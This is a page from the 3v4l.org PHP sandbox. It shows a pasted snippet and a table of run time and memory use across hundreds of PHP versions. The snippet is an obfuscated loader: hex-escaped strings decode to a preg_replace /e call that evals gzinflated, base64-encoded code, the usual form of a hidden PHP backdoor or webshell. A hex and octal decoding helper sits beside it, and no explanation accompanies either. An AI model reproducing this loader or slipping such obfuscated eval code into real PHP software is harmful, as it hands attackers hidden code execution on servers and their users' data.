3v4l.org

run code in 300+ PHP versions simultaneously
<?php $xkf00c .= "\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x22\x2f\x2e\x2a\x2f\x65\x22\x2c\x22\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x43\x5c\x78\x32\x38\x5c\x78\x36\x37\x5c\x78\x37\x41\x5c\x78\x36\x39\x5c\x78\x36\x45\x5c\x78\x36\x36\x5c\x78\x36\x43\x5c\x78\x36\x31\x5c\x78\x37\x34\x5c\x78\x36\x35\x5c\x78\x32\x38\x5c\x78\x36\x32\x5c\x78\x36\x31\x5c\x78\x37\x33\x5c\x78\x36\x35\x5c\x78\x33\x36\x5c\x78\x33\x34\x5c\x78\x35\x46\x5c\x78\x36\x34\x5c\x78\x36\x35\x5c\x78\x36\x33\x5c\x78\x36\x46\x5c\x78\x36\x34\x5c\x78\x36\x35\x5c\x78\x32\x38\x27\x7a\x56\x48\x62\x72\x70\x70\x51\x46\x50\x77\x58\x58\x30\x35\x62\x6d\x6f\x50\x63\x4a\x58\x32\x43\x4c\x53\x67\x67\x46\x37\x6b\x4b\x4d\x57\x6e\x6b\x49\x73\x70\x47\x39\x6c\x5a\x45\x6b\x4b\x38\x76\x70\x35\x36\x6b\x66\x65\x6c\x37\x48\x79\x61\x54\x4e\x54\x4d\x72\x57\x5a\x6d\x46\x62"; $xe67zm .= "\x30\x58\x35\x38\x31\x62\x67\x2b\x70\x41\x56\x58\x32\x62\x6b\x2b\x7a\x65\x79\x6d\x48\x32\x66\x37\x51\x65\x65\x32\x77\x38\x43\x50\x7a\x45\x31\x41\x65\x77\x48\x65\x6a\x47\x78\x4d\x47\x6e\x53\x78\x4f\x49\x45\x5a\x51\x4c\x2f\x38\x6a\x34\x79\x41\x76\x76\x61\x2b\x5a\x32\x6a\x50\x7a\x58\x6d\x70\x54\x46\x54\x6a\x70\x6c\x38\x54\x70\x33\x6d\x7a\x78\x7a\x2f\x34\x66\x30\x31\x30\x34\x73\x33\x37\x2f\x6d\x77\x76\x4b\x65\x67\x6a\x36\x62\x6f\x65\x79\x5a\x38\x65\x41\x64\x4b\x4d\x79\x74\x7a\x33\x69\x37\x39\x49\x41\x43\x77\x4d\x33\x49\x39\x75\x4e\x70\x70\x7a\x5a\x5a\x62\x55\x41\x64\x62\x4e\x65\x71\x6a\x2b\x69\x4b\x68\x55\x58\x74\x4b\x64\x47\x58\x41\x33\x75\x70\x54\x44\x31\x64\x4b\x4f\x46\x77\x53\x4b\x5a\x56\x31\x50\x30\x37\x51\x69\x74\x50\x76\x30\x6d\x41\x4f\x55\x74\x59\x41\x41\x6c\x61\x37\x34\x41\x51\x38\x42\x49\x70\x45\x59\x75\x4a\x61\x6f"; $xw92w3 .= "\x6b\x2b\x47\x46\x72\x42\x4b\x66\x4e\x44\x30\x78\x4c\x79\x37\x67\x53\x70\x54\x36\x74\x57\x4c\x61\x6e\x63\x48\x44\x51\x50\x43\x67\x34\x48\x67\x6c\x71\x4a\x50\x49\x46\x6b\x68\x2b\x57\x32\x36\x55\x50\x77\x44\x52\x70\x35\x4b\x6d\x6e\x33\x39\x67\x66\x2b\x66\x39\x71\x78\x34\x64\x46\x4f\x6b\x39\x61\x70\x32\x65\x45\x53\x70\x7a\x70\x6a\x6d\x64\x76\x4e\x49\x4e\x47\x4e\x2b\x61\x70\x5a\x75\x30\x53\x6f\x37\x33\x77\x77\x42\x36\x74\x32\x30\x78\x46\x55\x46\x6e\x77\x69\x76\x2b\x4d\x67\x35\x55\x73\x5a\x77\x35\x6f\x6e\x47\x47\x55\x6b\x37\x58\x79\x51\x74\x70\x34\x7a\x7a\x79\x73\x4c\x6a\x45\x4a\x52\x51\x6c\x49\x4f\x4d\x55\x2f\x55\x35\x6c\x63\x53\x58\x38\x4c\x6b\x67\x36\x55\x67\x49\x48\x55\x39\x77\x36\x72\x75\x49\x65\x58\x4a\x46\x46\x44\x4c\x67\x30\x6a\x57\x35\x75\x36\x70\x5a\x4e\x31\x54\x45\x4d\x6a\x30\x79\x4f\x58\x65\x39\x31\x44\x6e\x5a\x4f"; $x6b1me .= "\x75\x75\x6d\x6f\x71\x6a\x4e\x78\x61\x70\x41\x46\x42\x76\x61\x4a\x6e\x4a\x59\x7a\x62\x35\x33\x62\x6b\x38\x34\x43\x59\x45\x51\x50\x67\x66\x38\x47\x54\x41\x4b\x5a\x4b\x79\x79\x6f\x62\x4c\x65\x41\x55\x77\x4a\x33\x5a\x76\x5a\x39\x48\x62\x62\x63\x34\x74\x61\x4e\x55\x2f\x62\x54\x42\x45\x47\x63\x58\x73\x50\x62\x59\x54\x63\x56\x52\x59\x79\x34\x31\x31\x42\x71\x63\x69\x75\x6f\x34\x32\x35\x42\x47\x48\x50\x49\x64\x69\x6a\x77\x72\x64\x4a\x75\x74\x74\x42\x56\x79\x35\x76\x7a\x51\x4f\x65\x32\x58\x53\x6f\x62\x30\x56\x4c\x31\x66\x50\x34\x59\x4e\x47\x55\x73\x52\x42\x31\x49\x58\x47\x46\x7a\x72\x45\x36\x43\x68\x2f\x54\x4a\x69\x79\x76\x55\x55\x36\x34\x75\x4a\x55\x44\x58\x38\x75\x4f\x50\x73\x36\x64\x59\x50\x4f\x50\x7a\x2f\x34\x43\x27\x5c\x78\x32\x39\x5c\x78\x32\x39\x5c\x78\x32\x39\x5c\x78\x33\x42\x22\x2c\x22\x22\x29\x3b"; function decode_code($code){ return preg_replace_callback( "@\\\(x)?([0-9a-f]{2,3})@", function($m){ return chr($m[1]?hexdec($m[2]):octdec($m[2])); }, $code ); } ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0100.01018.43
8.3.50.0160.00317.92
8.3.40.0140.00018.65
8.3.30.0090.00919.06
8.3.20.0040.00420.14
8.3.10.0040.00421.92
8.3.00.0030.00522.52
8.2.180.0080.00816.60
8.2.170.0140.00722.96
8.2.160.0080.00620.89
8.2.150.0040.00424.18
8.2.140.0080.00024.66
8.2.130.0040.00426.16
8.2.120.0070.00019.64
8.2.110.0000.00822.07
8.2.100.0110.00017.78
8.2.90.0040.00419.23
8.2.80.0000.00817.97
8.2.70.0050.00317.50
8.2.60.0040.00717.55
8.2.50.0040.00418.07
8.2.40.0080.00018.07
8.2.30.0000.00718.03
8.2.20.0000.00817.55
8.2.10.0070.00017.65
8.2.00.0000.00717.81
8.1.270.0090.00021.93
8.1.260.0070.00026.35
8.1.250.0040.00428.09
8.1.240.0030.00623.88
8.1.230.0000.01119.15
8.1.220.0080.00017.74
8.1.210.0080.00018.77
8.1.200.0090.00017.23
8.1.190.0060.00317.38
8.1.180.0040.00418.66
8.1.170.0000.00818.33
8.1.160.0040.00421.91
8.1.150.0000.00818.66
8.1.140.0000.00817.32
8.1.130.0030.00317.86
8.1.120.0040.00417.46
8.1.110.0050.00317.32
8.1.100.0040.00417.44
8.1.90.0040.00417.45
8.1.80.0030.00617.40
8.1.70.0000.00717.38
8.1.60.0070.00417.58
8.1.50.0040.00417.45
8.1.40.0000.00717.47
8.1.30.0040.00417.56
8.1.20.0040.00417.66
8.1.10.0050.00217.37
8.1.00.0040.00417.41
8.0.300.0000.00718.77
8.0.290.0040.00417.16
8.0.280.0030.00318.34
8.0.270.0070.00017.14
8.0.260.0030.00316.91
8.0.250.0030.00316.87
8.0.240.0030.00517.02
8.0.230.0050.00216.97
8.0.220.0000.00716.93
8.0.210.0040.00416.80
8.0.200.0070.00016.98
8.0.190.0040.00416.87
8.0.180.0040.00416.87
8.0.170.0030.00516.90
8.0.160.0000.00716.86
8.0.150.0040.00416.93
8.0.140.0040.00416.86
8.0.130.0030.00313.33
8.0.120.0040.00416.77
8.0.110.0000.00716.84
8.0.100.0000.00816.77
8.0.90.0070.00016.91
8.0.80.0060.00916.96
8.0.70.0000.00716.91
8.0.60.0000.00716.74
8.0.50.0000.00716.98
8.0.30.0210.00117.06
8.0.20.0110.00817.40
8.0.10.0070.00016.87
8.0.00.0120.00616.68
7.4.330.0050.00015.00
7.4.320.0030.00316.57
7.4.300.0060.00016.57
7.4.290.0000.00716.55
7.4.280.0000.00816.48
7.4.270.0070.00016.57
7.4.260.0000.00816.35
7.4.250.0070.00016.50
7.4.240.0070.00116.52
7.4.230.0070.00016.56
7.4.220.0030.01416.53
7.4.210.0030.01216.50
7.4.200.0030.00316.45
7.4.190.0070.00016.62
7.4.160.0060.01016.57
7.4.150.0130.00617.40
7.4.140.0100.00817.86
7.4.130.0060.01316.39
7.4.120.0080.00816.28
7.4.110.0070.01016.70
7.4.100.0140.00416.36
7.4.90.0150.00416.41
7.4.80.0030.01519.39
7.4.70.0160.00616.33
7.4.60.0060.01816.37
7.4.50.0080.00016.28
7.4.40.0070.00722.77
7.4.30.0130.00316.48
7.4.00.0080.00914.96
7.3.330.0000.00613.19
7.3.320.0000.00513.06
7.3.310.0000.00816.16
7.3.300.0030.00316.37
7.3.290.0090.00916.23
7.3.280.0080.00816.26
7.3.270.0070.01017.40
7.3.260.0090.00916.14
7.3.250.0140.00516.38
7.3.240.0130.00616.34
7.3.230.0110.00916.39
7.3.210.0090.00916.49
7.3.200.0030.01519.39
7.3.190.0120.00916.28
7.3.180.0170.00016.29
7.3.170.0070.01016.54
7.3.160.0040.01116.24
7.3.120.0050.01314.67
7.3.110.0040.01414.50
7.3.100.0070.00714.78
7.3.90.0040.01414.46
7.3.80.0090.00614.87
7.3.70.0080.00414.84
7.3.60.0090.00614.69
7.3.50.0070.00714.66
7.3.40.0070.00714.43
7.3.30.0040.00714.68
7.3.20.0090.00016.54
7.3.10.0070.00716.50
7.3.00.0110.00416.66
7.2.330.0090.01516.60
7.2.320.0130.00916.30
7.2.310.0080.00816.59
7.2.300.0100.00616.34
7.2.290.0100.00616.57
7.2.250.0040.01414.84
7.2.240.0090.00614.78
7.2.230.0060.00914.76
7.2.220.0040.01214.82
7.2.210.0090.00614.78
7.2.200.0120.00014.77
7.2.190.0100.00715.02
7.2.180.0060.00615.07
7.2.170.0040.01115.04
7.2.60.0000.01716.43
7.2.00.0030.01119.44
7.1.330.0070.00715.85
7.1.320.0040.01115.66
7.1.310.0040.00415.44
7.1.300.0040.01115.57
7.1.290.0080.00315.52
7.1.280.0070.00315.63
7.1.270.0030.00915.64
7.1.260.0070.00415.71
7.1.200.0040.01115.64
7.1.100.0120.00318.11
7.1.70.0030.00617.00
7.1.60.0070.01019.82
7.1.50.0140.01016.62
7.1.00.0000.08022.51
7.0.200.0050.00816.66
7.0.140.0000.07721.97
7.0.60.0200.06719.87
7.0.50.0100.07017.83
7.0.40.0030.08720.15
7.0.30.0270.06720.34
7.0.20.0270.03720.10
7.0.10.0070.06320.12
7.0.00.0070.08320.23
5.6.280.0030.07321.03
5.6.210.0070.05020.48
5.6.200.0070.07018.16
5.6.190.0070.06320.41
5.6.180.3230.03720.46
5.6.170.0170.05720.61
5.6.160.0100.08020.56
5.6.150.0230.06318.27
5.6.140.0070.04318.12
5.6.130.0030.08318.27
5.6.120.0100.08021.01
5.6.110.0000.04320.95
5.6.100.0030.06021.18
5.6.90.0100.07320.98
5.6.80.0130.07320.30
5.6.70.4070.03720.51
5.5.350.0270.07020.50
5.5.340.0100.04717.99
5.5.330.0030.06320.31
5.5.320.3000.03720.34
5.5.310.0200.06020.36
5.5.300.0130.03017.95
5.5.290.0130.07717.98
5.5.280.0130.06020.86
5.5.270.0130.07720.88
5.5.260.0070.07720.88
5.5.250.0070.07720.50
5.5.240.0230.07720.20
5.4.450.0570.05319.71
5.4.440.0270.05719.20
5.4.430.0070.05719.43
5.4.420.0100.05319.41
5.4.410.0230.04019.35
5.4.400.0970.00018.86
5.4.390.0900.00018.48
5.4.380.0300.06018.73
5.4.370.1000.04718.48
5.4.360.0870.05018.76
5.4.350.0770.06718.75
5.4.340.0730.05718.80
5.4.320.0060.04612.51
5.4.310.0050.04112.51
5.4.300.0080.03712.52
5.4.290.0040.04112.51
5.4.280.0050.03512.41
5.4.270.0050.04012.40
5.4.260.0100.05718.66
5.4.250.0130.05318.77
5.4.240.0200.05318.80
5.4.230.0070.07718.97
5.4.220.0070.06318.84
5.4.210.0070.06318.84
5.4.200.0100.05718.79
5.4.190.0170.05718.83
5.4.180.0000.06719.00
5.4.170.0230.05718.84
5.4.160.0130.04319.02
5.4.150.0070.05719.01
5.4.140.0000.08016.45
5.4.130.0130.05316.60
5.4.120.0170.04316.64
5.4.110.0070.05016.43
5.4.100.0070.05016.47
5.4.90.0100.07316.57
5.4.80.0130.06716.52
5.4.70.0100.07016.41
5.4.60.0130.06716.39
5.4.50.0030.07016.39
5.4.40.0070.05716.55
5.4.30.0100.06716.54
5.4.20.0000.08016.47
5.4.10.0230.04316.48
5.4.00.0070.07015.80
5.3.290.0070.04212.80
5.3.280.0130.06314.78
5.3.270.0070.06314.69
5.3.260.0070.06714.44
5.3.250.0070.05314.69
5.3.240.0030.05714.74
5.3.230.0070.05014.50
5.3.220.0100.06014.76
5.3.210.0200.04014.71
5.3.200.0100.05014.66
5.3.190.0100.07014.55
5.3.180.0170.04314.70
5.3.170.0170.05014.55
5.3.160.0130.07014.62
5.3.150.0100.05014.56
5.3.140.0130.06714.39
5.3.130.0130.06014.56
5.3.120.0170.05314.73
5.3.110.0200.04014.68
5.3.100.0100.04714.13
5.3.90.0030.07714.02
5.3.80.0030.05314.11
5.3.70.0070.05314.02
5.3.60.0100.06713.84
5.3.50.0230.06014.02
5.3.40.0170.05014.12
5.3.30.0070.05013.88
5.3.20.0130.06013.61
5.3.10.0170.03313.83
5.3.00.0100.04713.64
5.2.170.0100.05311.15
5.2.160.0030.04311.23
5.2.150.0100.04011.14
5.2.140.0100.03710.97
5.2.130.0100.03710.95
5.2.120.0030.04011.00
5.2.110.0070.04011.09
5.2.100.0100.05311.05
5.2.90.0000.04711.27
5.2.80.0070.05311.08
5.2.70.0030.04311.10
5.2.60.0070.04011.14
5.2.50.0070.05310.93
5.2.40.0130.03711.09
5.2.30.0130.03311.05
5.2.20.0100.05010.97
5.2.10.0070.03710.78
5.2.00.0070.03710.89
5.1.60.0100.0279.95
5.1.50.0000.04010.19
5.1.40.0000.0409.95
5.1.30.0070.03710.56
5.1.20.0070.03710.45
5.1.10.0070.03710.13
5.1.00.0130.04010.30
5.0.50.0000.0478.39
5.0.40.0130.0278.25
5.0.30.0070.0408.29
5.0.20.0100.0238.29
5.0.10.0000.0308.27
5.0.00.0100.0378.08
4.4.90.0070.0277.46
4.4.80.0030.0237.46
4.4.70.0070.0177.46
4.4.60.0030.0277.46
4.4.50.0000.0307.46
4.4.40.0030.0337.46
4.4.30.0030.0207.46
4.4.20.0000.0277.46
4.4.10.0070.0237.46
4.4.00.0030.0307.46
4.3.110.0030.0307.46
4.3.100.0070.0177.46
4.3.90.0070.0177.46
4.3.80.0030.0437.46
4.3.70.0000.0277.46
4.3.60.0100.0237.46
4.3.50.0000.0237.46
4.3.40.0000.0437.46
4.3.30.0000.0277.46
4.3.20.0070.0207.46
4.3.10.0070.0177.46
4.3.00.0130.0238.20

preferences:
56.32 ms | 400 KiB | 5 Q